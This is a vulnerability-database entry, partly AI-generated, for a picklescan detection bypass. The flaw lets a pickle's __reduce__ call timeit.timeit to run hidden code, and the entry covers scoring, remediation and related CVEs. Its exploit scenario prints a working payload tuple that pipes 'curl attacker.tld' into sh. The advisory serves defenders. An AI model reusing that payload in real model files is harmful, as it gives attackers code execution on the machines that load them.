Skip to main content

picklescan EUVDEUVD-2025-210292

| CVE-2025-71351 HIGH
Incomplete List of Disallowed Inputs (CWE-184)
2026-06-21 VulnCheck GHSA-fh2f-24rh-r2vq
7.6
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft pickle with timeit.timeit __reduce__ payload
  2. Delivery
    Deliver via model hub or file share
  3. Exploit
    Victim scans with picklescan, reports clean
  4. Execution
    Victim calls pickle.load on artefact
  5. Persist
    timeit.timeit exec's embedded Python
  6. Impact
    os.system runs attacker commands as loader

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation completeness
Exploitation Conditions

Exploitation requires three concrete conditions: (1) the victim ingests a pickle file (typically a PyTorch .pt/.pkl model artefact) supplied by the attacker, e.g. from a public model hub, email, or shared storage; (2) the victim uses picklescan at a version below 0.0.25 as their vetting tool and trusts its 'clean' verdict - this is the configuration condition that makes the bypass meaningful; and (3) the victim then calls pickle.load() (or torch.load with the default pickle module) on that file in a process with the privileges the attacker wants to acquire. Limiting factors per the CVSS 4.0 vector are AT:P (the picklescan-then-load workflow must exist) and UI:P (a human must choose to load the file); the bypass does not fire against pipelines that already refuse untrusted pickles, use safetensors, or sandbox deserialization, and it does not give the attacker any foothold without that load step.

Impact

CVSS 4.0 scores this 7.6 (High) with AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N - network reachable, no privileges, but requiring both an attack precondition (AT:P, i.e. the victim must use picklescan and then load the file) and active user interaction (UI:P, the victim must choose to pickle.load the untrusted artefact). No EPSS or CISA KEV data is provided, so there is no public exploitation telemetry; the vulnerability is confirmed actively exploited status does not apply, and publicly available exploit code exists in the GHSA advisory PoC. Real-world risk is meaningful but conditional: it materialises only in pipelines that (a) ingest third-party pickle/PyTorch artefacts and (b) rely on picklescan as the gating control rather than sandboxing. Confidentiality and integrity impact are High (full code execution in the loader's process) while availability is rated None, which is conservative given that arbitrary commands could trivially disrupt availability - defenders should treat VA as effectively High in practice.

Exploit ScenarioDerived

An attacker publishes a poisoned PyTorch checkpoint to a model hub or sends one to a target ML engineer; the file's pickle stream uses __reduce__ to return (timeit.timeit, ('', 'import os; os.system("curl attacker.tld | sh")')). The defender runs picklescan, which reports zero infected files and zero dangerous globals, then calls pickle.load() - at which point timeit.timeit exec()s the embedded Python and the os.system shell command runs as the loading process. A working PoC is published in the GHSA advisory.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle files by abusing the built-in timeit.timeit() function inside a __reduce__ method, which is not on the unsafe-globals blacklist. Any organization using picklescan to vet PyTorch or other pickle-based model files is affected, and a working PoC is publicly documented in the GHSA advisory (no public exploit identified at time of analysis as a weaponized tool, but POC code is published).

RemediationAI

Vendor-released patch: upgrade picklescan to 0.0.25 or later (pip install --upgrade picklescan>=0.0.25), which adds timeit to the unsafe-globals blacklist; the upstream fix is tracked in https://github.com/mmaitre314/picklescan/pull/40 and announced in GHSA-v7x6-rv5q-mhwc. Where immediate upgrade is impossible, extend picklescan's unsafe-globals configuration to explicitly block timeit (and audit for other stdlib modules that exec/eval arbitrary strings such as pdb, code, codeop, runpy) - the trade-off is maintenance burden as new bypasses emerge. As compensating controls, refuse to pickle.load() untrusted artefacts and prefer safetensors for PyTorch weights, or load suspect pickles inside a network-egress-blocked, filesystem-isolated sandbox (container, gVisor, or seccomp) so that even successful RCE cannot reach the internet or production data; the trade-off is added pipeline complexity and latency. Do not rely on any single static scanner as the sole defence - treat picklescan as one layer.

Affected VersionsENISA

picklescan 0 <0.0.25

Affected Packages

pypi picklescan fix: 0.0.25

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

picklescan is a Python static-analysis tool that inspects pickle files for dangerous opcodes and globals before pickle.load() is called, typically to defend ML pipelines that load PyTorch model weights. The underlying weakness is CWE-184 (Incomplete List of Disallowed Inputs): the scanner enumerates known-bad modules such as os, subprocess, and posix, but timeit - a standard-library module whose timeit() function takes arbitrary Python source as its first argument and exec()s it - was absent from the blacklist. Because pickle's __reduce__ mechanism lets the deserializer call any importable callable with attacker-supplied arguments, returning (timeit.timeit, ('', 'import os; os.system(...)')) lets the attacker execute arbitrary code at pickle.load() time while picklescan reports zero dangerous globals. The affected component is cpe:2.3:a:picklescan:picklescan:*:*:*:*:*:*:*:* across all versions below 0.0.25.

Know when Picklescan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 7.6 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-delivered malicious pickle (AV:N), no privileges (PR:N), but the victim must run picklescan and then pickle.load the file (UI:R); successful exec gives full code execution, so C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 21, 2026 - 15:31 EUVD

DescriptionCVE.org

picklescan before 0.0.25 fails to detect malicious pickle files that use timeit.timeit() in the __reduce__ method, allowing remote code execution. Attackers can craft pickle files that import dangerous libraries like os and execute arbitrary system commands, which evade picklescan detection and execute when pickle.load() is called.

Executive ViewAI

Why It Matters

picklescan, a security validation tool for machine learning model files, contains a detection bypass that allows attackers to embed remote code execution payloads in pickle files and other model formats. Organizations using picklescan as a control to vet PyTorch models before loading them now face direct exposure to code execution through the bypassed security layer.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2026-3490 CRITICAL POC
10.0 Jun 17

Remote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio

CVE-2025-10156 CRITICAL POC
9.3 Sep 17

An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles

CVE-2025-10157 CRITICAL POC
9.3 Sep 17

A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot

CVE-2025-10155 CRITICAL POC
9.3 Sep 17

An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0

CVE-2025-71341 HIGH POC
7.6 Jun 23

Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle

CVE-2025-71370 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr

CVE-2025-71348 HIGH POC
7.6 Jun 21

Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing

CVE-2025-71361 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i

CVE-2025-71378 HIGH POC
7.6 Jun 21

Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using

CVE-2025-71376 HIGH POC
7.6 Jun 23

Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th

CVE-2025-71365 HIGH POC
7.6 Jun 23

Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b

CVE-2025-71354 HIGH POC
7.6 Jun 24

Detection bypass in picklescan before 0.0.29 allows attackers to craft malicious pickle files using idlelib.debugobj.Obj

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy